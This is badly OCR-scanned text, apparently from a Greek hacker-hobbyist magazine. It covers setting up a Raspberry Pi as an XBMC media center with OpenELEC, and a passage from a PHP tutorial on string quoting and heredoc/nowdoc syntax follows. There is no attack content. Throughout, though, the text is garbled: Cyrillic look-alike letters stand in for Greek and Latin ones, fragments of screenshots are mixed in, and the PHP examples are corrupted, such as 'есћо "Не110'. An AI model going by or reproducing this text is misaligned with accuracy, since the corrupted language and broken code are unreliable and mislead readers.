Skill: Intermediate 
Tags: Raspberry Pi, XBMC, home theater, media center, media player 


To Broadcom ВСМ2835, то System Оп a Chip (SoC) που εμψυχώνει то 
Raspberry Рі, δημιουργήθηκε κυρίως για συσκευές τύπου set-top box: 
Αυτὲς που γυροφέρνουν στο σαλὀνι και περιτριγυρΐζουν την τηλεόραση. 
Σε ауто το άρθρο αποφασίσαμε уа δούμε την “καλλιτεχνική” πλευρά 
του Raspberry Рі, εγκαθιστώντας software που θα το μετατρέψει σε ¿va 
φθηνό αλλά δυνατὀ media center! 


Raspberry Рі + XBMC 


ЕССЕ ССК ССС ССЕССССССССССС СС 


То XBMC αποτελεἰ ката паса πιθανότητα το καλύτερο media center σε software 
(http://xbmc.org). Εἶναι протом Ανοιχτού Λογισμικού και η ανἀπτυξή του δε отара- 
таг! ποτὲ: Καθημερινά αποκτά νέες δυνατότητες, εντοπίζονται bugs που длордомо- 
ута! ταχύτατα, ενώ προστίθενται νέες πλατφόρμες στη Ліста µε тіс υποστηριζὀμε- 
мес συσκευές. То Raspberry Рі, µε τον ντὀρο που ἐχει καταφέρει να δημιουργήσει, 
δε θα μπορούσε να λείπει ап! αυτή τη λίστα! Δεν εννοούμε От! το XBMC µπορεί 
апла να τρέξει στο Raspberry Рі. Еумооџџе от! εκμεταλλεύεται τις δυνατότητες του 
Broadcom ВСМ2835 στο Raspberry Рі και παίζει βίντεο µε hardware ассе!егаїїоп!. 
Εν ολίγοις, βάζοντας то XBMC στο Raspberry Рі θα μπορούμε να απολαμβάνουμε 
video σε ανάλυση True HD (1080р). 


Το μεγάλο δίλημμα 


То ὀλο εγχείρημα δεν εἶναι δύσκολο, 
αλλά εἶναι γεμάτο επιλογἑςπου ενδέχεται 
να το περιπλέξουν σε μεγάλο βαθμὸ και 
темка να то δυσκολέψουν κάπως. Ξεκι- 


Image File Device —) 
C:/Users/Nopyoc/Downloads/OpenELEC-RPi.arm-3.2.0.img ΗΝ τσ 


Сору | м05 Hash: 


νώντας, συναντάμε хаџесосх“ то про- 
το δίλημμα: Μήπως πρέπει ма στήσουμε 
εξ αρχἠς то XBMC στο Raspberry Рі ἡ 
μήπως ма βασιστούμε σε капола ἐτοιμη, 
πακεταρισμένη επιλογή; Μετὰ апо λίγο 
ψάξιμο καταλάβαμε бт! υπήρχαν και pE- 
ρικὲς ενδιάμεσες λύσεις. Το ζήτημα της 
επιλογἠς ἧταν ακόμα πιο σύνθετο: Θα 


Progress 

ШШШ 
Version: 0.9 

13.9961МВ/5 


H εγγραφή των εικόνων IMG στην 
карта SD του Raspberry Pi γίνεται 
πανεύκολα ото РС, µε τη βοήθεια 
του Win32 Disk Imager. 


μπορούσαμε να εγκαταστἠσουµε капола 

апо τις διανομές που προορἰζονται για то Raspberry Pi και να χτίσουμε πάνω της то 
XBMC. Θα μπορούσαμε επἰσης να βρούμε κάποιες апо αυτὲς τις διανομές, µε ὁλα та 
пакета του XBMC προεγκατεστημένα και ρυθμισμένα. Επιπρόσθετα, θα μπορούσαμε 
να βασιστούµε σε κάποια ἄλλη διανομή, Муо πιο εξελιγμένη και να χτίσουμε εκεἰ то 
XBMC. Τέλος, θα μπορούσαμε να χρησιμοποιήσουμε µια απὀ τις διανομὲς που npo- 
орібоута! αποκλειστικἁ για χρήση σε media center και στηρἰζονται στο XBMC. То 
πλήθος των διαθέσιμων επιλογών ἐδειχνε va και μόνο πράγμα: Па να βρούμε την 
καλύτερη λύση έπρεπε να κάνουμε πολλὲς δοκιμές... Φουλ διασκέδαση δηλαδή ;) 


Εκ πρὠτης ὀψεως, µια εγκατάσταση του XBMC πάνω στο Raspbian (εἰτε апо εμάς 
εἰτε апд τρίτους) μοιάζει уа αποτελεἰ την καλύτερη επιλογἠ. Κάτι τέτοιο θα µας 
επέτρεπε να κάνουμε οτιδήποτε θέλουμε µε то Raspberry Рі και μάλιστα µε том 
γνώριμο τρόπο. Ωστόσο, δοκιμάζοντας αυτή τη λύση διαπιστώσαμε бт! παρουσιάζει 
ἑνα πρόβλημα: Κολλάει! Αρχικἁ, το XBMC λειτουργεἰ камомка και συμπεριφἑρεται 
µε τον αναμενόμενο тропо. Мета апо λίγη ора, όμως, τα μενού παγώνουν και то 
σύστημα αρχίζει να σἐρνεται. Αυτό οφείλεται κυρίως ото бт! то Raspbian εἶναι поп 
φορτωμένο µε άχρηστα για την περίσταση προγράμματα, ενώ τρέχει και τον αρκετά 
βαρύ X server. 


Οι πρὠτες δοκιμὲς ἐγιναν µε то Raspbmc, που αποτελεί ша εκδοχἠ του Raspbian µε 
προεγκατεστημένο то XBMC. Συνεχἰσαμε τα πειράµατα µε το Xbian, που βασίζεται 
στην ἴδια διανομή, αλλά εἶναι апаллауџемо апо τα ἄχρηστα προγράμματα. Το Χρί8η 
περιλαμβάνει πάντα τις τελευταίες εκδόσεις των διαφόρων χρειαζούμενων проүрар- 


1. Αντί η αποκωδικοποίηση να γίνεται στον επεξεργαστή, γίνεται σε ειδικὀ hardware φτιαγμένο ү! αυτή τη δουλειά. О επεξεργαστής беу 
ασχολείται σχεδόν καθόλου και δεν καταπιάνεται οὐτε µε τη µεταφορά δεδομένων. 
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МНАСЈКЕВ. 
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0:01 


y, 1 lav 1970 
Καλώς Ορίσατε στο 


Αυτός ο οδηγός Ва σας βοηθήσει στη διαδικασία της ρύθμισης της νέας εγκατάστασης 
- ορισμός της τοποθεσίας σας, της χρονικής ζώνης και της σύνδεσης στο 
διαδίκτυο 


Μπορείτε να αλλάξετε αυτές τις ρυθµίσεις αργότερα πηγαίνοντας στις Εφαρμογές > 
Ρυθμίσεις ЕЦЕ 


Για уа ξεκινήσετε την εμπειρία σας µε то Е επιλεξτε τις ρυθμίσεις τοποθεσίας σας 
και τη διάταξη πληκτρολογίου, και πιέστε 'Ἑπόμενο' 


English 
Enópevo 


Ката την протп εκκίνηση θα ξεκινήσει ο 

wizard» του OpenELEC, ο οποίος θα нас 

уа ρυθµίσουμε нерікес βασικές παραμέτρους του 
συστήματος. қ 


о θα ἦταν να έχουµε κάποιο USB WiFi 
г για τη σύνδεση του Raspberry Рі µε 
ὁ µας δίκτυο. Θα μπορούσαμε να το 


τα ενδιαφέροντα χαρακτηριστικά του XBMC. 


0:02 


p, 1 lav 1970 
Καλώς Ορίσατε στο 


Προκειμένου να κατεβάσετε υπόβαθρα, πανό και μικρογραφίες γιατις ταινίες σας και τις 
τηλεοπτικές σας σειρές και να βλέπετε διαδικτυακό περιεχόµενο μέσω ιστοσελίδων όπως 
то YouTube, то ELEC πρέπει να είναι συνδεδεμένο στο διαδίκτυο. 


Απαιτείται, επίσης, σύνδεση στο διαδίκτυο ούτως ώστε то να ενημερώνεται 
αυτόματα 


Επόμενο 


Raspberry Рі + XBMC 


“уууу УА ССК ССС ССС 


ратом? κι αξίζει να σημειώσουμε ὁτι εἶναι αρκετά γρηγορότερο апо το Ваѕротс. Σε 
γενικὲς γραμμὲς αποτελεὶ ша καλἠ επιλογή, αλλά εμεὶς δεν σταματήσαμε σ' аџто. 
Ἡμασταν σίγουροι бт! μπορούμε και καλύτερα. 


Ανάμεσα στις κλασικὲς επιλογὲς υπάρχουν και мерікес εξωτικἐς, ὁπωςτο ОрепЕ ЕС. 
Πρόκειται για µια διανομὴ κατασκευασμένη αποκλειστικἁ για λειτουργία media 
center. То OpenELEC δεν βασίζεται σε каша ἄλλη διανομή και η ανάπτυξή του ξε- 
κίνησε апо το μηδέν! Μάλιστα το περιβάλλον του δεν χρησιμοποιεί καθόλου τον X 
server, αφού το XBMC καταφέρνει να χειρίζεται το σύστημα γραφικών χωρὶς καμία 
βοήθεια. Εξάλλου, то OpenELEC παραµμετροποιεἰται πανεύκολα, ενώ εξίσου εὐκολη 
εἶναι και η λήψη backup апо όλα τα αρχεία ридшовом“. Θέλετε уа сас πούμε κι 
ἄλλα; Θα πούμε: Το σύστημα αρχείων του εἶναι ἐτσι χτισμένο, ὥστε τα αρχεία του 
λειτουργικού να µη µπλέἐκονται καθόλου µε εκείνα του χρήστη, γεγονός ιδιαίτερα 
βολικό (κι ασφαλὲς) για ¿va σύστημα που λειτουργεἰ σαν media center. Με λίγα Лӧ- 
για, πρὀκειται για ша πεντακάθαρη διανομή, χωρίς το парашкро іхуос апо ἄχρηστα 
αρχεία και βιβλιοθήκες. Παίζοντας μαζί του διαπιστώσαμε бт! ἦταν ελαφρύτερο апо 
κάθε ἄλλη λύση που δοκιμάσαμε και, ὁπως αντιλαμβάνεστε, мас κἐρδισε άνετα! Στο 
κἀτω-κάτω, αν επιµέναµε να χρησιμοποιήσουμε το Raspbian, θα χτίζαμε то XBMC 
εξ αρχἠς και κάτι µας λέει ὁτι θα το κάναμε καλύτερα. Εμείς ὁμως θέλαμε να δούμε 
каша ταινία και Ох! ма χαζεύουμε ατελείωτες µεταγλωττίσεις και προσθαφαιρέσεις 
πακέτων ;) 


Εγκατάσταση και απαραΐτητο hardware 


Όπως каде фора που τρώμε Ватоџоџра λερώνουμε τα χέρια µας, ¿TOI και тора 
θα χρησιμοποιήσουμε το w32diskimager (http://sourceforge.net/projects/ 
win32diskimager) για να εγκαταστήσουμε το επιθυμητό σύστημα σε µια карта карта 
SD (Σ.τ.Ε. Στροφή που %беу% μπόρεσα ма προβλἐψω.) Μπορούμε уа κατεβάσουµε 
την ειδικἠ ἐκδοση του ΟΡΕΠΕΙΕΕΟ για το Raspberry Рі апо την επίσηµη ιστοσελίδα 
του project: 


http://openelec.tv/get-openelec/viewcategory/10-raspberry-pi-builds 


Στη συνέχεια, τοποθετούμε ша карта SD στον card reader του υπολογιστή µας, 
ξεκινάμε το w32diskimager, δίνουμε то IMG του ОрепЕ[ЕС και ξεκινάμε το γράψιμο. 
Όταν τελειώσει η διαδικασἰα βάζουμε την карта στο Raspberry Рі και εἶμαστε ἑτοι- 
μοι για то πρώτο boot. 


Па τη λειτουργία του OpenELEC στο Raspberry Рі, θα χρειαστεἰ ма συνδέσουμε τόσο 
την ἐξοδο HDMI σε µια οθόνη, ово κι vav WiFi adapter µε Еуа апло πληκτρολόγιο 
USB. Προφανώς, το HDMI апотеле! απαραίτητη σύνδεση για να βλέπουμε το οτιδἠ- 
ποτε. Το ἴδιο ισχύει και για το WiFi, ектос ау θἐλουµε ма παΐζουμε µουσικἡ και βίντεο 
μόνο апо κάποιο USB stick. Το πληκτρολόγιο απαιτείται μόνο στην αρχή, για τη 
ρύθμιση του συστήµατος. Στη συνέχεια θα δούμε εναλλακτικὲς επιλογὲς για το χει- 
ρισμό του νέου µας media center! Πριν προχωρήσουμε, σημειώστε ὁτι το OpenELEC 
υποστηρίζει каде WiFi adapter που υποστηρίζει και το Raspbian. Θα σας протемаџе 
να προμηθευτείτε οπωσδήποτε µια συμβατή, για να µη μπλέξετε µε την προσθήκη 
driver και "μολύνετε" το σύστημα апо την πρώτη κιόλας στιγμή. Εμείς πάντως χρη- 
σιμοποιήσαμε ¿va αρκετά φθηνό USB WiFi µε το Realtek RTL8187L. 


2. Πράγμα που η εμπειρία δείχνει Оті εἶναι καλό και ταυτόχρονα како. 
3. Ореп Embedded Linux Entertainment Center 
4. Τα εν λόγω αρχεία διατίθενται στο τοπικό δίκτυο µέσω емос SMB share! 
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VHA@KER 
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Βίντεο 


ж 


Μπορεί уа иг 
την Ελληνική µετόφ 
τ’ ἄλλα, “μ΄ λειτο 


σίγουροι ότι σε κάποια єп 
διορθωθούν óa та О :) 


ла 
XBMC αλά Raspberry Pi 


Κατά την πρώτη εκκίνηση θα τρέξει ἑνας "setup wizard", ο οποίος θα ζητήσει opi- 
оџема στοιχεία για την συσκευἠ µας: Την επιθυμητή γλὠσσα για τα μενού του XBMC, 
το δικτυακὀ буора που θέλουμε να ἐχει η συσκευή µας, το ασύρματο δίκτυο στο 
οποίο επιθυμούμε να συνδεθεί κ.ο.κ. Κάτι που µας ¿Kave εντύπωση ἦταν от! το OÙ- 
στηµα πρὀτεινε τα Ελληνικά και χωρίς να ἐχουμε σύνδεση στο Internet’. Мета апо 
αυτὲς τις ερωτήσεις, о setup wizard παρέχει τη δυνατότητα να ενεργοποιήσουμµε ἡ 
уа απενεργοποιήσουµμε τον SSH και τον SAMBA server. Εμεἰς αφήσαμε και τους δύο 
ενεργοποιηµένους. Όπως θα διαπιστώσετε και μόνοι σας, μέσα σε σύντομο χρονικό 
διάστηµα το XBMC θα ἐχει συνδεθεἰ στο δίκτυό, η ора του συστήματος θα ἐχει ενη- 
μερωθεὶ κι όλα θα εἶναι ἐτοιμα για να απολαύσουμε το пергехоџемо µας στην τηλε- 
όραση. Πριν ξεκινήσουμε, ὁμως, πρέπει να ασχοληθούμε µε κάποια άλλα ζητήματα. 
Το σημαντικότερο апо αυτά εἶναι ο εὐκολος ἐλεγχος του XBMC. 


Χειρισμός χωρίς χειριστήρια! 


Εἶναι угуомос ὁτι ο χειρισμὸς µε то πληκτρολόγιο θυμίζει кат! апо 1999. Ποιος θέλει 
уа κἀτσει στον камап µε ἑνα τεράστιο πληκτρολόγιο αγκαλιά; Μπορεί м" αποτελεί 
ша καλἠ και γρήγορη λύση, αλλά εἰναι και πολὺ ἄβολη για καθημερινή χρήση. Ау 
η τηλεὀρασή µας υποστηρίζει το λεγόμενο "remote pass-through" µέσω του HDMI, 
τότε θα παρατηρήσουμε от! τα βελάκια του τηλεχειριστηρίου ελέγχουν και то XBMC! 
Δυστυχώς, όμως, αυτές οι συσκευές εἶναι ελάχιστες. Μια калп δικαιολογία που ¿xouv 


5. Πολὺ παράξενο! Πώς κατάλαβε που βρισκόμαστε; 


44 


Raspberry Рі + XBMC 


Αα 


οι κατασκευαστέἑς γι’ αυτή την ἐλλειψη σχετίζεται µε το τεράστιο κενὀ ασφαλείας 
που δημιουργεί η ем λόγω λειτουργία. Τι θα γινόταν αν οποιαδήποτε συσκευή HDMI 
μπορούσε να πειράξει τα πάντα στην тплеораоп µας; Τι θα γινόταν, για παράδειγμα, 
αν κάποια μολυσμένη συσκευἠ ἐστελνε ἑνα service code και σβήνονταν ὀλες µας οι 
ρυθμίσεις; :Ὁ Πάντως, µια σύντομη λίστα µε τις δυνατότητες που υποστηρίζονται 
απὀ διάφορες μάρκες τηλεοράσεων διατίθεται στο site της PULSEEIGHT: http:// 
libcec.pulse-eight.com/vendor/support. Πρόκειται για την εταιρεία που ανέπτυξε τη 
βιβλιοθήκη libCEC, για τον ἐλεγχο των συσκευών μέσω HDMI. Στις δοκιμὲς μας ка- 
тафераџе να ελέγξουμε μόνο την ἐνταση των δύο συστημάτων, χρησιμοποιώντας 
πότε το va και πότε το ἄλλο. Δηλαδή, δυναμώνοντας την ἐνταση της τηλεόρασης 
апо το τηλεχειριστήριο ἡ του Raspberry Рі апо το πληκτρολόγιο, "συγχρονιζόταν" 
και η ἄλλη συσκευή! 


H λειτουργία remote pass-through, πάντως, δεν εἶναι καθόλου διαδεδομένη και δεν 
θα μπορούσαμε να βασιστούµε σε ша τόσο περιορισμένη λύση. То кало βέβαια µε 
το XBMC εἰναι От! προσφέρει ёха TCP АРІ, που επιτρέπει τον πλήρη χειρισμό του ou- 
στήματος µέσω δικτύου. Το ακόµα καλύτερο εἶναι ὁτι υπάρχουν αρκετὲς εφαρμογὲς 
για 105 και Android, οι οποίες υποστηρἰζουν το εν λὀγω АРІ και μετατρέπουν το KI- 
νητὀ µας σε χειριστήριο για то XBMC. Στο Google Play Store προσφέρονται αρκετὲς 
ефарџоугс του εἶδους, ὅπως то "Official XBMC Remote". Н συγκεκριμένη εφαρµογἡ 
εἶναι ιδανικἠ για τον ἐλεγχο απλών λειτουργιών. Ωστόσο, µε λἰγο παραπάνω ψάξιμο 
βρήκαμε εφαρμογές που προσφέρουν περισσότερες ευκολίες. Με τα πολλὰ, KaTa- 
λήξαμε στο "Yatse, the XBMC Remote", που επιτρέπει τον ἐλεγχο ЖОЛоу”% των λει- 
τουργιὠὼν του XBMC. па να μπορούμε να ελέγξουμε το XBMC апо то δίκτυο πρέπει 


ЕЗ Βίντεο - UsbDiskO 


Пехіег.504Е04.НОТУ.Хуі0-5Ү5.амі 
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+ Πρόσθετα - Πρόσθετες Ефарџоуес 


Асе ехїгараск 


дсе 


ЕхіғарасК 


Асе ехігараск 


malte, Мапт оп, Магсозаш 
1.01 


\ 


Downloads extras from skin Асе 


To XBMC διαθέτει πολλὲς πρόσθετες 
ευκολίες, αλλά για την παρουσἰασή τους ба 
χρειαζὀμασταν πολλά ακόμα άρθρα! 


ους ασφαλείας, о ἐλεγχος του XBMC 

апо το δίκτυο εἶναι архіка απενεργοποιημένος. 
Па να τον ενεργοποιήσουµε θα χρειαστεί να 
πάμε στην περιοχή Ρυθμίσεις > Υπηρεσίες > 
Τηλεχειριστήριο του μενού. 


©) Ρυθμίσεις - Υπηρεσίες 14:21 


і И 
СолЙсемсе Υπηρεσίες - Ρυθμίσεις 


Έγκριση σε προγράµµατα ἄλλων συστηµάτων να ελέγχουν то ХВМС 


Τηλεχειριστήριο 


Raspberry Рі + XBMC 
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ΞΘ) Media Center 


То Yatse προσφέρει αρκετές επιλογές 
για τον έλεγχο του XBMC. Στο κεντρικὀ 
μενού, όμως, παρέχονται οι απολύτως 


© Media Center 


werethemillers-tlr1_h... 


У шштт 


Filename 


smb://GATEKEEPER/UsbDisk0/ 
werethemillers-tlr1_h1080p.mov 


Тргуиргсомтас στα μενού θα 
παρατηρήσουμε ὁτι στο χειριστήριο 
φτάνουν пара πολλές πληροφορίες 


βασικές: Βελάκια για την πλοήγηση, ΚΕ σχετικἀ µε то XBMC. Μπορούμε уа 


δούμε τι παίζει τη συγκεκριμένη στιγμή, 
να πληροφορηθούμε τη θέση του 
αρχείου που αναπαράγεται κ.λπ. 


ρύθμιση της έντασης к.а. 


να ενεργοποιἠήσουµε την επιλογἠ "Έγκριση σε προγράµµατα ἄλλων συστημάτων ма 
ελέγχουν το XBMC", που βρἰσκεται στην περιοχἠ Ρυθμίσεις > Υπηρεσίες του μενού. 
Κατόπιν, μέσα апо то Yatse ἡ το XBMC Remote θα μπορούμε να συνδεθούμε στο 
XBMC, δίνοντας μόνο τη διεύθυνση ІР του Raspberry Pi! 


Προσθήκη πηγῶν 


Το κεντρικὀ μενού εἶναι χωρισμένο σε ἐξι κατηγορίες: Καιρός, Εικόνες, Βίντεο, Μου- 
сікй, Εφαρμογὲς και Ρυθμίσεις. Οι κατηγορἰες που σχετἰζονται µε το περιεχόµενο 
(π.Χ., Βίντεο και Μουσικἠ) ακολουθούν ακριβώς την ἴδια λογικἠ. Επιλέγοντας κάποια 
апо αυτές µεταβαίνουμε στην αντίστοιχη βιβλιοθήκη, апо ὁπου μπορούμε ма npo- 
σθἐσουµε ппугс ἡ ма εξερευνήσουμε то περιεχόµενο των ἠδη υπαρχουσών. Φυσικά, 
την πρώτη фора που θα μπούμε σε κάποια βιβλιοθήκη αυτή θα εἶναι ἄδεια. То XBMC 
υποστηρίζει αρκετά δικτυακά πρωτόκολλα, алла η γρηγορότερη κι ευκολότερη λύση 
εἶναι να µετατρέψουµε ἑναν φάκελο του υπολογιστή µας σε κοινόχρηστο. Ἐτσι, о 
συγκεκριμένος φάκελος θα еџфамоте! στο XBMC αμέσως, στη λίστα µε та SMB 
Shares. Εμεὶς πάντως κάναμε κάτι πιο πρωτοποριακὀ: Μοιράσαμε ¿vav ολόκληρο õi- 
око, ο οποίος ἦταν συνδεδεμένος σε ἑναν router που ἐτρεχε το dd-wrt! (ВА. σχετικἁ 
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арӨра στα τεύχη 011 και 012.) Όπως καταλαβαίνετε, µας αρέσει πολύ να συνδυάἀ- 
ζουμε тіс хакеріес που κάνουμε ката καιρούς :Ώ 


Ευκαιρία για αγορὲς 


Αν σκοπεύετε να αφήσετε то Raspberry Рі μόνιμα συνδεδεμένο στην τηλεόραση, 
κάτι που αποφάσισε να κάνει και ο γράφων, θα ἧταν χρήσιμο να επενδύσετε σε 
κάποιο ἘἈκαλύτερο3 χειριστήριο, σε κἄποιο ἆλλο τροφοδοτικὀ και σε гема ποιοτικό 
καλώδιο HDMI. Н επιλογή του χειριστηρίου παρουσιάζει αρκετὀ ενδιαφέρον, αλλά 
εδώ παἰζει μεγάλο ρὀλο και το προσωπικὀ γούστο του кадемос. Θέλουμε éva απλό 
χειριστήριο µε νούμερα, αυξομείωση ἐντασης και τον υποτυπώδη ἐλεγχο των μενού; 
Ἡ μήπως θέλουμε κάποιο χειριστήριο µε πλήρες πληκτρολόγιο QWERTY, Bluetooth 
και ενσωματωμένο touchpad; Αν σκοπεύουµε να παρακολουθούμε μόνο ταινίες και 
όχι ма περιπλανιόµαστε στο Web, η καλύτερη επιλογἠ εἶναι ἑνα απλὀ χειριστήριο, 
σαν αυτά που ἐχουν οι περισσότερες τηλεοράσεις. Χειριστήρια τέτοιου εἰδους uno- 
роон να βρούμε σε αρκετά μαγαζιά online. Σε σχέση µε το τροφοδοτικὀ, πρέπει 
να πούμε бт! πρὀκειται για ἑνα πολὺ σημαντικὀ μέρος του όλου συστήματος και θα 
ἠταν φρόνιµο να επιλέξουμε κάποια επώνυμη και ποιοτική λύση. Μία φαινομενικά 
Φτηνἠ ауора апо то ebay θα μπορούσε να αποβεἰ ακριβἠ, αν προκαλεἰ συχνές ena- 
νεκκινήσεις και οδηγήσει στο χτύπημα της картас SD ñ, πολύ χειρότερα, ау каше! 
то Raspberry Pi. 


Περαιτέρω εξέλιξη 


Αν темка αποφασίσουµε уа εγκαταστήσουµε μόνιμα то Raspberry Рі στην τηλεόὀ- 
paon, θα πρέπει να βρούμε Χτουλάχιστονξ µια ακόµη εναλλακτική λειτουργία. То 
να βλέπουμε ταινίες και σειρὲς апо την άνεση του кауапе ἐχει σίγουρα ενδιαφἐρον 
αλλά, μάς ξέρετε тора, ψάχνουμε πάντα το κάτι παραπάνω! Μια ενδιαφέρουσα λύση 
θα ἦταν уа εγκαταστήσουµε στο Ваѕреггу Рі то NOOBS, που επιτρέπει να επιλἐγου- 
µε διαφορετικά distros ката την εκκἰνηση της συσκευής. Έτσι, θα μπορούσαμε για 
παράδειγµα να ξεκινάμε πότε то ОрепЕ (ЕС και πότε κἄποια ἄλλη, ειδική διανομή, 
που εἶναι σχεδιασμένη για retro gaming µε το МАМЕ! Πα την ора, πάντως, θα oTa- 
ματήσουμε єёо. О επιδόσεις του Raspberry Рі μᾶς ενθουσἰασαν αρκετά και σκεφτή- 
кане να συνεχίσουμε κάποιες σειρὲς που εἰχαμε αφήσει στη μέση. Μιλάμε για nepi- 
εχόµμενο σε ανάλυση 1080р, που σερβίρεται δικτυακἁ και χωρίς κανένα κόλλημα :D 


в: 


Q: 
e e 5 о 
БЕг2222222222 

Ге Гер) 
Ооа оода т ашоуа Не то ХВМС. τον 6,1 
| сєз ЕЗ ЕЗ езе сз евезез фа καλύτερο μπορούσαμε να βρούμε 
σος” -. µε ΠΠευρώ! 
Өз ез вз өз ез есте сз сз ов 
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Skill: Intermediate 
Tags: LAMP, РНР, web, programming, string, array, function, control structures 


by multiPetros 


Web development σε περιβάλλον LAMP [μέρος 2] 


Στο прото апо τα άρθρα της σειράς LAMP, στο deltaHacker 024, εἴδαμε 
το στήσιμο ενὸς LAMP server και κάναμε µια εισαγωγἠ στην PHP. Στο 
паром ἀρθρο θα συνεχίσουμε την περιπλάνησή µας στον ὠκεανό της PHP, 
μαθαίνοντας για τις συμβολοσειρές, τους πίνακες, τις δομές ελέγχου και 
τις συναρτήσεις. 
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Ὅταν μιλήσαμε για τους τύπους δεδομένων της PHP (βλ. τεύχος 024) αναφερθήκαµε 
και στον τύπο string. Ката τα γνωστὰ, οι συμβολοσειρὲς περικλεἰονται σε διπλά £l- 
σαγωγικὰ ("..."). H PHP όμως υποστηρίζει και τη χρήση аплом εισαγωγικών ('...). Στις 
περισσότερες περιπτώσεις μπορούμε να χρησιμοποιούμε τα διπλά ἡ τα апла εισαγω- 
үка χωρίς να αλλάζει τίποτα. Αυτό ὁμως δεν ισχύει πάντα! Н χρήση του ενὸς ἡ του 
ἄλλου εἶδους εισαγωγικών κρύβει ορισμένες διαφορὲς που δεν εκδηλώνονται πάντα, 
αλλά εἶναι κρίσιμες. Καταρχάς, μέσα στα απλά εισαγωγικά απενεργοποιούνται οἱ 
ειδικοί χαρακτήρες που ξεκινούν µε το backslash (1). Επιπρόσθετα, όταν προσπα- 
θούμε να χρησιμοποιήσουμε την ἘτιμήΧ µιας μεταβλητής string μέσα σε апла £l- 
σαγωγικἀ, το ὀνομα της μεταβλητής αντιμετωπίζεται σαν συμβολοσειρά. Αντίθετα, 
μέσα στα διπλά εισαγωγικἀ οι ειδικοἰ χαρακτήρες αντιμετωπίζονται µε την ξεχωριστἠ 
ερμηνεία τους, ενώ οι μεταβλητέὲς τύπου string αντικαθιστὠνται αυτόματα апо την 
τιµή τους! Па να κατανοήσετε αυτές τις διαφορές, δείτε το ακόλουθο παράδειγµα: 


<?рһр 
$name = "deltaHacker" ; 
echo "Hello $name !\n" ; 


echo 'Hello $name !\n' ; 


"|. 5 
~ ә 


есћо "Не110 '.$пате. 


ἘΣ 


Н πρὠτη εκτέλεση του echo θα τυπώσει µια συμβολοσειρά µε τη λέξη "hello" και 
την Ἐτιμή” της μεταβλητής $name. Επιπρόσθετα, η πρώτη εκτέλεση του echo θα 
"τυπώσει" και ἑναν χαρακτήρα αλλαγής γραμμής, αφού αυτὸ ακριβώς πετυχαίνει 
ο ειδικὀς χαρακτήρας уп. Με τη δεύτερη εκτἐλεση του echo θα τυπωθεί каті πολύ 
διαφορετικὀ. Βλέπετε, σε αυτή την περίπτωση χρησιμοποιούμε апла εισαγωγικά, 
μέσα στα οποία η µεταβλητή $name αντιμετωπίζεται σαν µια απλἠ λέξη και ο ειδικὸς 
χαρακτήρας απενεργοποιεἰται! Στην τρίτη εκτἐλεση του echo χρησιμοποιούμε апла 
εισαγωγικἀ, алла επιστρατεύουμε και τον τελεστἠ συνένωσης συμβολοσειρών (την 
τελεία). Δείτε τι προκύπτει απὀ την εκτέλεση: 


Hello deltaHacker! 
Hello $name!\nHello deltaHacker! 


Όπως Ва θυµόσαστε, η РНР ξεκίνησε αρχικἀ σαν ёха Perl script. Ακριβώς γι' ато 
υποστηρίζει αρκετά στοιχεία του συντακτικού της Perl. Έτσι, μεταξύ ἄλλων επι- 
τρέπει και τον оргоџо συμβολοσειρών µε τη σύνταξη ћегедос. Па να ορίσουμε ша 
συμβολοσειρά μ' αυτόν τον τρόπο, εισάγουµε τρεις χαρακτήρες "μικρότερο апо" 
(<<<) και στη συνέχεια επιλέγουμε µια επιθυμητή єтїкёта για το κλείσιμο της συµβο- 
λοσειρἀς. H ἴδια η συμβολοσειρά εισάγεται αµέσως μετὰ και µπορεί уа επεκταθεἰ σε 
πολλὲς ураџџес. То τέλος της σηματοδοτείται µε την εμφάνιση της ετικέτας терџа- 
τισμού, που орісане αρχικἀ. Αυτή η περιγραφἠ εἶναι κάπως περίπλοκη кі ενδέχεται 
να σας μπέρδεψε. Δείτε το ακόλουθο παράδειγµα και θα καταλάβετε αµέσως: 


<?рһр 
$text = <<< ТЕХТЕМО 


Εδώ γράφουμε το %Кеітепо 
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που αποτελεί τη νέα 
συμβολοσειρά µας 
ТЕХТЕМО; 


>> 


Н ετικέτα κλεισίματος που επιλέξαμε στο παράδειγµα εἶναι то "ТЕХТЕМР". 'Ета!, ова 
ακολουθούν μέχρι την επὀµενη εμφάνιση του "ТЕХТЕМР" αντιμετωπίζονται σαν µια 
συμβολοσειρἀ. Όλη αυτή η συμβολοσειρά αποδἰδεται σαν τιµή στη μεταβλητή $text. 
То γεγονὸς ότι η συμβολοσειρά εκτείνεται σε τρεις διαφορετικὲς γραμμὲς δεν ano- 
теле! πρόβλημα! Να σημειώσουμε επίσης От! ова ισχύουν για τις συμβολοσειρὲς που 
ορίζονται μέσα σε διπλά εισαγωγικἀ, ισχύουν και για τις συμβολοσειρὲς που opio- 
ута! µε τη σύνταξη ћегедос. Έτσι, οι ειδικοί χαρακτήρες δεν χάνουν την ξεχωριστἠ 
ερμηνεία τους και οι μεταβλητές τύπου string αντικαθἰστανται µε την τιµή τους. 


Από την ἐκδοση 5.3.0 της PHP υποστηρίζεται και η σύνταξη помдос. Όταν ορἰζουμε 
µια συμβολοσειρά μ' αυτόν τον τρὀπο, οι ειδικοὶ χαρακτήρες απενεργοποιούνται και 
οι μεταβλητές string αντιμετωπίζονται σαν аплес λέξεις. Με ἆλλα λόγια, оса ισχύουν 
για тіс συμβολοσειρὲς μέσα σε апла εισαγωγικἀ, ισχύουν και για τις συμβολοσειρές 
που δηλώνονται ре тп σύνταξη помаос. Н σύνταξη помаос ομοιάζει pe тпу ћегедос, 
µε τη μόνη διαφορὰ ὁτι η ετικἑτα κλεισίματος τοποθετείται σε απλά εισαγωγικά: 


<?рһр 

фтехЕ = <<< 'ТЕХТЕМО' 

...Ебш ορίζουμε τη συμβολοσειρά... 
ТЕХТЕМО; 


>> 


Συναρτήσεις χειρισμού συμβολοσειρών 


H PHP διαθέτει μεγάλη ποικιλία συναρτήσεων, οι опојес χρησιμεύουν στο χειρισμό 
των συμβολοσειρὠν. Στη συνέχεια θα δούμε μερικὲς απ' αυτές, οι οποίες ката τη 
γνώμη µας εἶναι και οι πλέον χρήσιμες. 


ο Αλλαγή γραμμής. Όπως ενδέχεται να γνωρίζετε, οι browsers αγνοούν τον 
Кемо χώρο ка! тіс αλλαγὲς γραμμών που џпорг! να εμφανίζονται σε ἑνα ἐγγρα- 
фо HTML. Έτσι, για να εξασφαλίσουµε бт! о browser θα εμφανίσει µια αλλαγή 
γραμμής, δεν арке! να αλλάξουμε γραµµή μέσα στο ἐγγραφο HTML αλλά θα 
